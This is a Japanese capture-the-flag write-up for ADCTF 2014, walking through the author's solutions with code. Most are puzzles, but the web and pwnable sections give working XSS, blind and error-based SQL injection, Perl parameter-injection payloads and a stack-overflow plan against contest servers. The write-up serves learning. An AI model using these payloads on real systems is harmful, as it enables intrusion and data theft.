ADCTF2014 write up
ADCTF 2014に参加しました(`・ω・´)
140ptの29位でした(*´ω`*)
クリスマスどころかバレンタインもとうに過ぎ、
ホワイトデーが近づいている今日この頃で今さら感しかありませんが、
write upを置いておきまする。
※公開することを考えて書いたwrite upではないので、いろいろと汚いです←
warmup(misc:1pt)
ASCIIコードになっているので文字列にする。
text = "41444354465f57334c43304d335f37305f414443374632303134" puts text.scan(/../).map{|a| a.to_i(16).chr} * ""
FLAG:ADCTF_W3LC0M3_70_ADC7F2014
alert man(web:2pt)
<!-- alert検知コードが入っているらしく、こう書いてもうまく動かない --> <script>alert(43804..toString(36).toUpperCase());</script> <!-- これならOK --> <img src=dummy onerror=alert(43804..toString(36).toUpperCase())></img>
alertと共にフラグも表示される。
FLAG:ADCTF_I_4M_4l3Rt_M4n
listen(misc:3pt)
サンプリングレートが1Hzになっていたので、適当に44.1kHzにしてGOM Playerでスロー再生したところ、英語音声が流れた。
FLAG:ADCTF_SOUNDS_GOOD
easyone(reversing:4pt)
gdbで見てみると、いかにも文字列を作ってる処理があったので、ブレークポイントを張って調べた。
FLAG:ADCTF_7H15_15_7oO_345y_FOR_M3
shooting(web:5pt)
Webコンソールで
gamé.end = function(){}
として無敵状態にし、普通にプレイ。
FLAG:ADCTF_1mP05518L3_STG
paths(reversing:6pt)
最短経路を求める問題。
ダイクストラで探索し、スタート→ゴールの順でエッジのコストを出力。
INF = 1 << 31 DEST = 0 COST = 1 E = [ [[96, 65]], [[64, 99], [82, 120], [3, 100], [19, 87], [51, 85], [96, 112], [85, 108], [87, 98], [16, 57], [80, 98], [55, 115], [9, 68], [46, 87], [90, 57], [56, 57], [0, 118], [57, 66], [7, 70], [27, 120], [18, 110], [75, 110], [20, 114], [72, 104], [30, 109], [58, 111], [4, 65], [37, 79], [45, 112]], [[24, 88], [91, 67], [58, 112], [13, 52], [72, 70], [15, 97], [36, 75], [52, 71], [31, 78], [76, 109], [26, 78], [29, 101], [32, 109], [65, 117], [22, 53], [96, 119], [30, 77], [2, 77], [6, 115], [71, 122]], [[75, 48], [21, 80], [32, 119], [61, 48], [13, 57], [82, 97], [55, 88], [50, 121], [77, 83], [70, 114], [96, 83], [38, 72], [74, 51], [34, 80], [28, 102], [78, 116], [66, 53], [89, 107], [11, 54], [54, 100], [48, 72], [64, 112], [76, 104]], [[63, 66], [49, 55], [80, 79], [31, 122], [1, 67], [6, 89], [86, 100], [57, 49], [29, 67], [20, 81], [97, 48], [44, 70], [8, 73], [85, 100]], [[38, 55], [5, 119], [97, 68], [10, 72], [11, 106], [35, 106], [73, 83], [17, 115], [7, 106], [60, 52]], [[98, 113], [82, 52], [38, 118], [15, 48], [63, 97], [47, 120], [73, 89], [58, 67], [67, 78], [9, 75], [70, 78], [7, 83]], [[99, 104], [22, 77], [79, 51]], [[46, 72], [42, 79], [57, 51], [59, 89], [41, 90], [19, 75], [14, 88], [33, 86], [13, 107], [20, 121], [48, 115], [45, 99], [25, 54]], [[22, 108], [58, 83], [67, 50], [17, 105], [5, 112], [84, 88], [1, 120], [20, 119], [50, 106], [87, 51], [25, 118], [40, 54], [16, 120], [75, 122]], [[28, 65], [83, 119], [84, 48], [6, 84], [68, 87], [87, 72], [12, 88], [30, 72], [34, 68], [16, 103], [5, 68], [89, 116], [95, 82], [44, 88], [77, 114], [41, 49], [55, 79], [14, 87], [23, 90], [81, 76], [27, 106], [60, 76]], [[36, 74], [15, 69], [16, 49], [85, 83], [53, 118], [91, 52], [31, 76], [28, 82], [3, 55], [89, 86], [47, 68]], [[87, 110], [62, 89], [27, 114], [5, 51], [37, 120], [91, 65], [74, 72], [42, 75], [29, 112], [52, 69]], [[64, 72], [58, 73], [37, 116], [2, 66], [30, 48], [17, 69], [73, 67], [97, 82], [93, 48], [24, 71], [26, 51]], [[98, 52], [43, 100], [71, 98], [51, 56], [66, 95], [52, 75], [29, 65]], [[29, 100], [60, 71], [12, 115], [86, 66], [43, 73], [22, 84], [55, 50], [70, 109], [8, 101], [49, 89], [54, 108], [17, 100], [96, 52], [88, 66], [87, 111], [14, 95], [72, 68], [36, 66], [65, 107], [23, 55], [79, 106], [62, 68], [25, 100], [10, 122], [33, 56], [97, 82], [51, 67], [68, 68]], [[17, 66], [56, 51], [76, 73], [18, 100], [26, 65], [9, 95], [77, 76], [5, 118], [72, 102], [53, 105], [44, 105], [38, 108], [80, 101], [83, 115], [59, 80], [58, 107], [27, 103]], [[89, 85], [81, 49], [41, 85], [52, 121], [59, 87], [96, 117], [10, 70], [2, 101], [68, 99]], [[46, 48], [18, 110], [72, 79]], [[85, 98], [84, 65], [27, 56], [82, 54], [90, 112], [91, 85], [46, 65], [44, 87], [32, 82], [50, 115]], [[29, 102], [72, 97], [82, 80], [4, 83], [41, 68], [5, 73], [71, 104], [2, 78], [70, 68], [88, 121], [26, 56], [56, 117], [25, 82], [15, 85], [67, 106], [8, 108], [38, 80], [10, 73], [77, 111], [28, 72], [66, 71], [24, 73], [30, 85], [42, 57], [61, 102], [60, 110], [31, 51], [96, 82]], [[44, 66], [56, 75], [9, 89], [30, 69], [35, 78], [10, 65], [28, 79], [68, 51], [37, 111], [72, 88], [81, 102], [11, 111]], [[22, 105], [89, 105], [96, 104], [92, 103]], [[83, 97], [16, 86], [37, 67], [70, 117], [56, 83], [2, 65], [68, 85], [88, 70], [50, 54], [31, 68], [18, 115], [42, 79], [90, 48], [92, 88], [86, 86], [6, 68], [55, 119], [3, 111], [64, 56], [72, 101], [24, 52], [22, 72], [0, 106], [53, 50], [34, 106]], [[19, 108], [9, 87], [25, 112], [37, 48], [54, 82], [87, 118], [15, 101], [56, 75], [46, 102], [61, 54], [92, 115], [78, 97], [85, 106], [65, 49], [30, 68], [96, 65], [58, 65], [47, 117], [88, 74], [1, 73], [64, 86], [74, 115], [81, 79], [83, 103], [89, 113], [82, 66], [21, 104], [24, 55]], [[40, 80], [85, 55], [97, 77], [30, 89], [72, 71], [58, 68], [22, 56]], [[48, 74], [77, 49], [18, 119], [41, 78], [90, 112]], [[53, 107], [58, 82], [83, 71], [4, 82], [3, 115], [56, 122], [40, 68], [54, 108], [78, 81], [24, 53], [0, 72], [82, 118], [59, 54], [62, 89], [48, 79], [73, 120], [92, 110], [36, 55], [44, 81], [45, 98], [30, 51], [10, 50]], [[9, 120], [92, 49], [82, 68], [76, 86], [11, 80], [60, 78], [29, 120], [0, 102]], [[59, 67], [80, 113], [52, 110], [68, 75], [32, 106], [86, 98], [39, 55], [89, 103], [29, 111], [50, 68], [76, 102], [63, 80], [43, 90], [37, 83], [5, 48], [51, 79], [7, 118], [46, 49], [73, 67], [78, 89], [49, 67], [90, 51]], [[79, 95], [58, 115], [30, 115], [87, 55]], [[91, 122], [18, 113], [2, 105], [89, 110], [10, 111], [15, 117], [24, 119], [53, 114], [59, 87], [51, 115], [78, 70], [46, 70], [82, 95], [1, 102], [31, 87], [81, 57], [61, 75], [66, 77], [52, 121], [95, 79], [22, 100], [42, 83], [25, 52], [16, 67]], [[73, 107]], [[75, 84], [71, 78], [15, 99], [33, 99], [45, 113], [89, 65], [53, 101], [70, 85], [64, 100], [81, 73], [62, 72], [12, 101]], [[3, 119], [43, 86], [41, 90], [30, 76], [24, 67], [9, 80], [68, 111], [10, 121], [79, 117], [83, 108], [45, 83], [94, 67], [26, 102], [62, 79]], [[94, 51], [85, 69], [96, 74]], [[19, 97], [60, 48], [6, 100]], [[77, 117], [66, 119], [91, 112], [93, 72], [98, 89], [33, 69], [86, 110], [40, 54], [54, 100], [10, 77], [48, 99], [16, 109], [76, 72], [65, 74], [41, 90], [90, 82], [18, 69], [61, 114], [59, 56], [85, 101], [46, 81], [83, 69], [53, 50], [56, 101], [49, 79], [2, 54]], [[85, 52], [48, 95], [55, 118]], [[24, 72], [6, 72], [77, 97], [36, 82], [26, 65], [37, 90], [54, 118], [41, 51], [8, 121], [85, 105], [38, 72], [46, 80], [15, 105], [80, 111], [65, 122], [86, 73], [1, 75], [97, 89], [53, 82], [64, 53], [35, 95], [30, 104]], [[30, 121], [92, 73], [22, 69], [18, 69], [41, 97]], [[35, 67], [70, 86], [97, 69], [7, 84]], [[21, 110], [26, 107], [73, 115], [93, 71], [67, 104], [80, 110], [35, 68], [41, 87], [7, 108], [90, 53], [76, 114], [69, 65], [86, 101], [70, 87], [94, 53], [42, 70]], [[29, 75], [55, 102], [2, 82], [82, 105], [92, 56], [26, 122], [27, 105], [7, 66], [58, 108]], [[35, 53], [28, 69], [91, 102], [21, 83], [89, 71], [41, 108], [69, 100], [94, 77], [25, 70], [93, 53], [50, 85], [6, 87], [34, 86], [85, 84], [38, 79], [12, 82], [57, 53], [72, 66], [11, 115], [79, 112], [83, 108]], [[1, 57], [7, 87], [49, 67], [77, 104], [73, 87], [14, 99], [41, 79], [63, 109], [64, 55]], [[72, 101], [18, 109], [22, 95]], [[44, 68], [26, 98], [71, 100], [10, 84], [2, 75], [39, 107], [76, 103], [77, 65], [14, 101], [19, 69], [62, 120], [86, 101], [34, 57], [18, 74], [90, 121], [7, 56], [83, 105], [56, 109], [69, 51], [60, 104], [96, 100]], [[44, 72], [37, 89], [95, 77], [66, 72], [52, 65], [27, 118], [14, 120], [82, 57], [67, 118], [55, 88], [49, 82], [48, 65], [59, 117], [30, 84], [7, 104], [92, 102], [26, 115], [16, 121], [3, 87], [34, 81], [77, 53]], [[80, 86], [77, 75], [28, 122], [0, 121]], [[28, 84], [44, 74], [86, 108], [54, 97], [7, 51], [52, 98], [79, 49], [55, 109], [98, 72], [32, 52], [12, 115], [23, 112], [29, 106], [42, 86], [92, 112], [84, 90], [78, 120], [0, 110], [59, 118], [90, 83], [34, 78]], [[96, 55], [6, 86], [1, 99], [60, 82], [90, 69], [24, 51], [27, 48], [17, 102], [15, 75], [71, 114], [0, 74]], [[65, 89], [74, 102]], [[90, 49], [89, 100], [86, 88], [79, 50], [0, 90], [71, 82], [75, 69], [85, 101], [88, 88], [53, 108], [81, 70], [67, 111], [56, 109], [40, 55], [55, 56], [14, 68], [2, 97], [35, 54], [48, 105], [11, 122], [43, 103], [23, 57], [61, 49], [95, 53], [68, 52], [7, 111], [62, 116], [59, 52], [46, 52]], [[47, 84]], [[31, 119], [80, 53], [13, 57], [33, 83], [63, 68], [85, 116], [35, 103], [87, 82], [32, 54], [92, 89], [56, 115]], [[88, 66], [79, 100], [25, 69]], [[61, 110], [73, 103], [17, 77], [14, 66], [88, 103], [45, 82], [32, 56], [79, 50], [92, 106], [60, 87], [3, 73], [87, 81], [44, 79]], [[82, 114]], [[74, 53]], [[34, 89], [64, 114], [80, 71], [83, 53], [68, 98], [60, 115], [82, 70], [88, 119], [28, 52], [62, 74], [11, 100], [25, 87], [59, 52], [95, 79]], [[6, 80]], [[0, 122], [95, 51], [48, 53], [59, 108]], [[41, 77], [58, 55], [57, 50], [59, 121], [68, 77], [93, 48], [80, 113], [9, 76], [21, 66], [96, 66], [79, 89], [32, 86], [55, 78], [31, 116], [47, 97], [15, 90], [82, 80]], [[55, 76], [95, 75], [15, 86], [17, 83], [53, 55], [2, 81]], [[55, 118], [71, 87], [20, 79], [69, 99], [97, 56], [12, 79], [56, 87]], [[18, 89], [86, 117], [66, 77], [4, 85], [7, 66], [47, 114], [88, 71], [16, 86], [77, 75], [95, 112], [19, 104], [48, 65], [96, 78], [51, 54], [81, 81], [41, 66], [11, 116], [33, 115], [13, 54], [87, 57], [10, 89], [68, 104], [53, 78], [12, 51], [8, 115], [59, 56], [5, 113], [57, 108], [14, 107], [82, 70]], [[63, 67], [59, 81], [58, 85]], [[66, 110], [25, 85], [85, 69], [40, 80], [94, 90], [10, 113], [68, 70], [47, 53], [87, 68], [52, 78], [80, 107], [55, 70], [30, 108], [58, 73]], [[96, 116], [89, 95]], [[69, 70]], [[57, 107], [58, 82], [77, 86], [36, 107], [11, 111], [84, 108], [29, 75], [5, 100], [43, 119], [13, 104], [69, 121], [25, 85], [68, 51], [93, 89], [76, 98], [49, 69], [23, 90], [90, 99], [78, 79], [3, 87], [87, 122], [15, 121], [18, 71]], [[70, 84]], [[58, 48], [36, 83], [0, 97], [65, 74], [90, 111]], [[69, 112], [79, 108], [97, 104]], [[12, 102], [88, 102], [62, 49], [5, 105], [36, 67], [38, 72], [44, 115], [47, 79], [86, 69], [30, 88], [20, 83], [89, 95], [25, 119], [65, 55], [75, 110], [93, 72], [21, 98], [54, 80], [90, 52], [69, 72], [15, 70], [40, 71], [32, 86], [14, 113], [71, 117]], [[17, 73], [31, 104]], [[51, 117], [5, 52], [11, 100], [16, 117], [80, 70], [85, 67]], [[94, 95], [14, 55], [59, 76]], [[70, 107], [79, 48], [59, 95]], [[50, 76], [72, 50], [64, 72], [7, 85], [77, 112], [3, 106], [91, 115], [55, 55], [57, 55], [49, 54]], [[76, 82], [83, 107], [4, 122], [79, 68], [59, 81], [34, 73], [14, 69], [30, 81], [10, 103], [67, 54], [50, 52], [54, 122], [7, 90], [97, 110], [2, 67]], [[58, 77], [94, 55], [35, 55]], [[23, 65], [41, 52], [48, 76], [83, 99], [26, 116], [16, 76], [57, 121], [2, 100], [18, 53], [87, 53], [21, 66], [66, 108], [72, 88], [91, 103], [63, 105], [9, 89], [11, 102], [67, 72], [96, 101], [1, 55], [39, 108], [28, 108], [12, 72], [54, 55], [89, 105]], [[85, 108], [88, 54], [22, 68], [59, 49]], [[30, 53], [35, 99], [79, 107], [46, 109]], [[61, 121], [22, 121], [91, 119], [2, 77], [71, 78], [66, 48], [14, 116], [79, 82]], [[69, 103], [87, 113], [82, 105], [25, 95], [18, 116], [70, 118]], [[79, 86], [32, 115], [51, 66], [96, 112], [52, 114]], [[72, 122], [18, 71], [96, 106]], [[46, 79], [76, 82], [61, 57], [69, 107], [18, 110], [96, 114], [82, 110]], [[66, 105], [41, 114], [62, 77], [59, 68], [50, 81], [92, 77], [19, 106], [43, 97], [20, 67], [40, 56], [55, 102], [76, 103], [47, 74], [37, 100], [88, 65], [39, 71], [16, 83], [35, 110], [14, 115], [94, 80], [22, 49], [81, 103], [0, 83], [65, 73], [70, 112], [17, 116], [77, 57], [7, 67]], [[79, 111]], [[75, 70], [33, 120], [24, 87], [93, 54], [83, 106], [1, 68], [49, 100], [30, 51], [90, 55], [12, 50], [29, 118], [80, 121], [21, 86], [66, 115], [45, 85], [56, 83], [91, 65], [67, 105], [78, 105], [88, 122], [87, 99], [0, 108], [94, 95], [79, 67], [76, 69], [46, 82], [84, 97], [3, 79], [5, 108]], [[72, 67]], [[41, 65], [42, 98], [36, 108], [82, 113], [37, 101], [18, 115], [9, 105], [77, 102], [34, 111], [83, 86], [70, 73]], [[94, 68]], [[58, 79], [79, 57]], [[67, 50], [19, 107], [93, 51], [69, 74], [60, 118], [46, 77], [2, 90], [86, 66], [84, 51], [30, 118], [32, 56], [63, 86], [51, 97], [98, 103]], [] ] start = 0 goal = 99 shortest = 2014 table = Array.new(100){{from:nil, cost:INF}}.tap{|a| a[0][:cost] = 0} queue = [0] while queue.length > 0 from = queue.shift E[from].each{|edge| if table[edge[DEST]][:cost] > table[from][:cost] + edge[COST] table[edge[DEST]][:cost] = table[from][:cost] + edge[COST] table[edge[DEST]][:from] = [from, edge[COST]] queue << edge[DEST] end } end if table[99][:cost] != shortest puts "something wrong" p table else past = [] last = table[99][:from] while last != nil past << last[COST] last = table[last[DEST]][:from] end puts past.reverse.map{|a| a.chr} * "" end
FLAG:ADCTF_G0_go_5hOr7E57_PaTh
reader(PPC:7pt)
返ってきた文字列をUTF-8で出力すると、一次元バーコードっぽいものが表示される。
「受信したバーコードをデコードして返す」という処理を10回行うとフラグがとれるとのこと。
あちこち調べたところ、Code 93というフォーマットの一次元バーコードの模様。
仕様を調べてデコーダを書いた。
require "socket" LEFT_HALF = "\xe2\x96\x8c".bytes FULL = "\xe2\x96\x88".bytes RIGHT_HALF = "\xe2\x96\x90".bytes CODE_93 = { "100010100" => "0", "101001000" => "1", "101000100" => "2", "101000010" => "3", "100101000" => "4", "100100100" => "5", "100100010" => "6", "101010000" => "7", "100010010" => "8", "100001010" => "9", "110101000" => "A", "110100100" => "B", "110100010" => "C", "110010100" => "D", "110010010" => "E", "110001010" => "F", "101101000" => "G", "101100100" => "H", "101100010" => "I", "100110100" => "J", "100011010" => "K", "101011000" => "L", "101001100" => "M", "101000110" => "N", "100101100" => "O", "100010110" => "P", "110110100" => "Q", "110110010" => "R", "110101100" => "S", "110100110" => "T", "110010110" => "U", "110011010" => "V", "101101100" => "W", "101100110" => "X", "100110110" => "Y", "100111010" => "Z", "100101110" => " ", "111001010" => "$", "101101110" => "/", "101110110" => "+", "110101110" => "%", "101011110" => "", "1" => "" } def decode(bin) result = "" bin = bin.gsub(/^0+/, "").gsub(/0+$/, "") 0.step(bin.length - 1, 9){|i| if CODE_93.include?(bin[i..i+8]) result += CODE_93[bin[i..i+8]] puts "#{bin[i..i+8]}(#{CODE_93[bin[i..i+8]]})" else result += "." puts "#{bin[i..i+8]}(?)" end } return result[0..-3] end def read_code93(code) i = 0 bin = "" while i < code.length if code[i] == " " bin += "0" i += 1 else case code[i..i+2].bytes when LEFT_HALF bin += "10" when RIGHT_HALF bin += "01" when FULL bin += "11" else puts "something wrong" p code.bytes.map{|a| "0#{a.to_s(16)}"[-2..-1]} puts end i += 3 end end return decode(bin) end is_end = false TCPSocket.open("adctf2014.katsudon.org", 43010){|socket| 10.times{|i| puts i s = "" while socket.recv(1024).tap{|a| s += a.chomp} !~ /[\r\n]/ end if s == nil || s =~ /wrong|timeout/ puts s unless s == nil is_end = true break end puts s print ">" socket.send(read_code93(s).tap{|a| puts a}, 0) } if !is_end s = socket.recv(1024) puts s end }
FLAG:ADCTF_4R3_y0U_B4rC0d3_R34D3r
rotate(crypto:8pt)
keyと入力を総当たりで変えて暗号化を試し、暗号ファイルと結果が同じかどうかを確認する、という方法で復号。
def pf(x) [x].pack('f') end filename = "flag.jpg" enc = IO.binread(filename + ".enc") for d in 0..360 key = d * Math::PI / 180.0 puts "d=#{d}" bs = open(filename, "wb") flag = false dictionary = {} 0.step(enc.bytes.length, 8) {|i| input = enc[i...i+8] puts "#{i/4}/#{enc.bytes.length/4}" flag = false if dictionary.include?(input) bs.putc dictionary[input][:x] bs.putc dictionary[input][:y] flag = true else for x in -128..127 #Pythonのstruct.unpack('b', x)の戻り値の範囲は-128~127 if flag == true break end for y in -128..127 if input == (pf(x * Math.cos(key) - y * Math.sin(key)) + pf(x * Math.sin(key) + y * Math.cos(key))) bs.putc x bs.putc y flag = true dictionary[input] = {x:x, y:y} break end end end end if !flag puts "wrong(#{input})" break end } if flag == true puts "done" break end end
FLAG:ADCTF_TR0t4T3_f4C3
qrgarden(PPC:9pt)
片っ端から読んで、ADCTF_
で始まるものを出力。
かなり遅かったので、前半と後半に分けて、2つのプログラムを同時に実行した。
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using ThoughtWorks.QRCode.Codec; //←CodeProjectで拾ってきたライブラリ using ThoughtWorks.QRCode.Codec.Data; namespace QRGarden { class Program { static void Main(string[] args) { using (Bitmap baseImage = new Bitmap("qrgarden.png")) { for (int row = 0; row < 100; row++) { for (int col = 0; col < 100; col++) { using (Bitmap qrcode = new Bitmap(93, 93)) { /*QRコードの切り出し*/ for (int x = 0; x < 87; x++) { for (int y = 0; y < 87; y++) { //QRコードの周囲には余白が必要なので、3pxの余白を与える qrcode.SetPixel(x + 3, y + 3, baseImage.GetPixel(col * 87 + x, row * 87 + y)); } } //qrcode.Save(string.Format("./qrcodes/{0}.bmp", row * 100 + col)); string text = ""; Console.Write("({0}, {1}):", row, col); /*読み取り*/ try { QRCodeBitmapImage qrcodeImage = new QRCodeBitmapImage(qrcode); QRCodeDecoder decoder = new QRCodeDecoder(); text = decoder.decode(qrcodeImage); } catch(Exception e) { Console.WriteLine(e.ToString()); } if (text != "") { Console.WriteLine(text); if (text.StartsWith("ADCTF_")) { Console.WriteLine("Done"); Console.ReadLine(); return; } } else { Console.WriteLine("Failed"); } } } } } Console.WriteLine("Done"); Console.ReadLine(); } } }
79行目の左から53番目のコードがフラグ。
FLAG:ADCTF_re4d1n9_Qrc0de_15_FuN
追記 Androidでも使われているバーコード読み取りライブラリ"Zxing"の.NET移植版があったので試したところ、爆速になった。
//上のtry-catchを以下のように書き換える try { ZXing.BarcodeReader reader = new ZXing.BarcodeReader(); text = reader.Decode(qrcode).Text; } catch (Exception e) { Console.WriteLine(e.ToString()); writer.WriteLine("Error?"); }
xor(crypto:10pt)
総当たりで探索。
key = "712249146f241d31651a504a1a7372384d173f7f790c2b115f47".scan(/../).map{|a| a.to_i(16)} flag = [] for i in 0...key.length found = false for j in 0..255 if j.chr !~ /[a-zA-Z0-9_]/ next end k = j if i > 0 k ^= flag[-1] end k ^= k >> 4 k ^= k >> 3 k ^= k >> 2 k ^= k >> 1 if k == key[i] putc j.chr flag << k found = true break end end if !found puts "something wrong" break end end
FLAG:ADCTF_51mpl3_X0R_R3v3r51n6
blacklist(web:11pt)
SQLインジェクションの問題。
ブラウザでUserAgentを変えながらいろいろ試すのがめんどくさかったので、適当にライブラリを作った。
require "net/http" require "uri" @default_agent = "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" def send(agent = @default_agent) body = "" uri = URI.parse("http://blacklist.adctf2014.katsudon.org/") Net::HTTP.start(uri.host){|http| request = Net::HTTP::Get.new(uri.path) request["User-Agent"] = agent body = http.request(request).body } return body end def search(ip = "", id = "") body = "" uri = URI.parse("http://blacklist.adctf2014.katsudon.org/search") Net::HTTP.start(uri.host){|http| request = Net::HTTP::Get.new(uri.path + "?ip=#{URI.escape(ip)}&id=#{URI.escape(id)}") body = http.request(request).body } return body end
UserAgentに'+(数値に変換可能な式)+'
を設定してアクセスすると、
INSERT INTO access_log (accessed_at, agent, ip) VALUES (NOW(), ''+(数値に変換可能な式)+'', '$ip')
というSQLが実行されるため、その式の値を知ることができる。
注:MySQLでは文字列→数値への変換は以下のようにして行われる
- 数値に変換可能な文字列の場合 → そのまま数値に変換
- 数値に変換できない文字列の場合 → 0
例:UserAgentを'+(select 123)+'
にした場合
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>blacklist</title> </head> <body> <p>sqli, sqli, sqli~~~ we have blacklist. see <a href="/source">source</a>.</p> <h2>xxx.xxx.xxx.xxx:</h3> <ul> <li>[2014-12-11 16:24:50] "123" <a href="/search?ip=xxx.xxx.xxx.xxx&id=21341">search</a></li> </ul> </body> </html>
このことを利用し、まず以下のSQLでflagテーブルの列名を取得した。
-- 列名の長さを取得 → 15 select char_length(column_name) from information_schema.columns where table_name='flag' -- 列名のASCIIコードを1文字ずつ取得(i=1~15) → flag is here!!! select ascii(substr(column_name, i)) from information_schema.columns where table_name='flag'
flagテーブルの列名が分かったところで、同様にしてフラグも取得。
-- フラグの長さを取得 → 33 select char_length(`flag is here!!!`) from flag -- フラグのASCIIコードを1文字ずつ取得(i=1~33) → ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT select ascii(substr(`flag is here!!!`, i)) from flag
FLAG:ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT
bruteforce(reversing:12pt)
(´・ω・`)
loginpage(web:13pt)
この脆弱性を利用した問題。
# ソースより post '/login' => sub { my $self = shift; my $name = $self->param('name') // ''; my $pass = $self->param('pass') // ''; # 配列がきた場合、配列の先頭値が評価される my $ok = 0; my $is_admin; open my $fh, '<', "user.txt" or die $!; while (defined(my $user = <$fh>)) { chomp $user; my ($n, $p, $a) = split /:/, $user; if ($n eq $name && $p eq $pass) { $is_admin = $a; $ok = 1; last; } } if ($ok) { $self->session->{user} = { name => $self->param('name'), pass => $self->param('pass'), # ここに配列がくると、ハッシュのキーと値を改変することができる give_me_flag => 0, admin => $is_admin, }; return $self->redirect_to('/'); } else { return $self->render(text => 'login failed...'); } };
事前にregisterページで有効なアカウントを作った後、
name=ID&pass=password&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=0
というデータをPOSTすると、
$self->session->{user} = { name => 'ID', pass => 'password', give_me_flag => 1, admin => 1, 0 => 'give_me_flag', 0 => 'admin', $is_admin => 0 # 0になるかは要確認……orz };
という状態のハッシュを作ることができる。
FLAG:ADCTF_L0v3ry_p3rl_c0N73x7
secret table(web:14pt)
Blind SQLiの問題。
we recorded your IP and user agent.
とのことなので、 任意のUser-Agentを指定してアクセスするためのライブラリを作った。
require "net/http" require "uri" @default_agent = "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" @uri = URI.parse("http://secrettable.adctf2014.katsudon.org/") # sqlが正常に実行できなかった場合は500が返ってくるので、それで判断 def check(agent = @default_agent) Net::HTTP.start(@uri.host){|http| req = Net::HTTP::Get.new(@uri.path) req["User-Agent"] = agent return http.request(req).body !~ /error/ } sleep(0.5) end
で、User-Agentをいろいろ変えながらDBやInsert時のSQLを予測。
' => Error '+' => OK '+version()+' => Error '+sqlite_version()+' => OK(∴DBはSQLite) ')-- => OK
ということで、Insert時のSQLは
insert into table_name values('IP', 'User-Agent')
だと思われる。
SQLiteはsleep関数に相当するものがないため、time-based-sqliは難しそう(不可能ではないらしい)。
いろいろ試行錯誤していたところ、型変換エラーをうまく利用してBlind SQLiを行えそうだということに気付いた。
'+(select 1 where 1 = 1))-- => OK '+(select 1 where 1 = 0))-- => Error '+(select 1 where (select count(*) from sqlite_master)>0))-- => OK ↑任意の条件式が成り立つかどうかを知ることができる
あとは二分探索をしてテーブル名・CREATE TABLE時のSQL・テーブルの内容を取得していった。
-- テーブル数を取得 => 2 select count(*) from sqlite_master where type='table' -- テーブル名の長さを取得 => 27, 10 select max(length(name)) from sqlite_master where type='table' select min(length(name)) from sqlite_master where type='table' -- テーブル名を取得 => super_secret_flag__Ds7KLcV9, access_log select unicode(substr(name, i, 1)) from sqlite_master where type='table' and length(name)=27 -- CREATE TABLE時のSQLを取得 => CREATE TABLE super_secret_flag__Ds7KLcV9 (yo_yo_you_are_enjoying_blind_sqli TEXT) select length(sql) from sqlite_master where type='table' and name='super_secret_flag__Ds7KLcV9' select unicode(substr(sql, i, 1)) from sqlite_master where type='table' and name='super_secret_flag__Ds7KLcV9' -- フラグの取得 => ADCTF_ERR0r_hELP5_8L1nd_5Ql1 select length(yo_yo_you_are_enjoying_blind_sqli) from super_secret_flag__Ds7KLcV9 select unicode(substr(yo_yo_you_are_enjoying_blind_sqli, i, 1)) from super_secret_flag__Ds7KLcV9
FLAG:ADCTF_ERR0r_hELP5_8L1nd_5Ql1
password checker(reversing:15pt)
Perlスクリプトをコンパイルしたバイナリで、逆コンパイルするにはB::Deparse
とやらを使えばいいらしい。
いろいろ調べたけど挫折
blind shell(pwnable:16pt)
(*´ω`*)
oh my scanf(pwnable:17pt)
(*´ω`*)
追記(2015/03/16):
解けたのでwriteup投下。
/* gcc -m32 -fno-stack-protector -zexecstack -o oh_my_scanf oh_my_scanf.c */ #include <stdio.h> int main(void) { char name[16]; setvbuf(stdout, NULL, _IONBF, 0); printf("name: "); scanf("%s", name); printf("hi, %s\n", name); return 0; }
scanfのところでバッファオーバフローさせると、mainからのリターンアドレスを上書きできる。
なので、
- mainのリターンアドレスをscanfのアドレスにすることで、2回目のscanfが呼び出される状況を作る
- 2回目のscanfで適当なところにシェルコードを読み込む
- 2回目のscanfからシェルコードのアドレスへリターンし、シェルを立ち上げる
という方針で攻略する。
メモリマップを見てみると、
$ cat /proc/3063/maps 08048000-08049000 r-xp 00000000 fc:00 414391 /home/sss/ctf/oh_my_scanf 08049000-0804a000 r-xp 00000000 fc:00 414391 /home/sss/ctf/oh_my_scanf 0804a000-0804b000 rwxp 00001000 fc:00 414391 /home/sss/ctf/oh_my_scanf b7e14000-b7e15000 rwxp 00000000 00:00 0 b7e15000-b7fbd000 r-xp 00000000 fc:00 790472 /lib/i386-linux-gnu/libc-2.19.so b7fbd000-b7fbf000 r-xp 001a8000 fc:00 790472 /lib/i386-linux-gnu/libc-2.19.so b7fbf000-b7fc0000 rwxp 001aa000 fc:00 790472 /lib/i386-linux-gnu/libc-2.19.so b7fc0000-b7fc3000 rwxp 00000000 00:00 0 b7fda000-b7fdd000 rwxp 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 fc:00 790476 /lib/i386-linux-gnu/ld-2.19.so b7ffe000-b7fff000 r-xp 0001f000 fc:00 790476 /lib/i386-linux-gnu/ld-2.19.so b7fff000-b8000000 rwxp 00020000 fc:00 790476 /lib/i386-linux-gnu/ld-2.19.so bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
という感じになっており、0x0804a000~0x0804b000の部分がシェルコードの格納先として使えそう。
ということで、mainからのreturn時にスタックが
stack top +--------------+ | 0x080483b0 |←scanf +--------------+ | 0x0804a050 |←scanfからのリターンアドレス(シェルコードのアドレス) +--------------+ | 0x080485c7 |←scanfの第1引数("%s") +--------------+ | 0x0804a050 |←scanfの第2引数(シェルコードを入れるところ) +--------------+
という状態になるようにした。
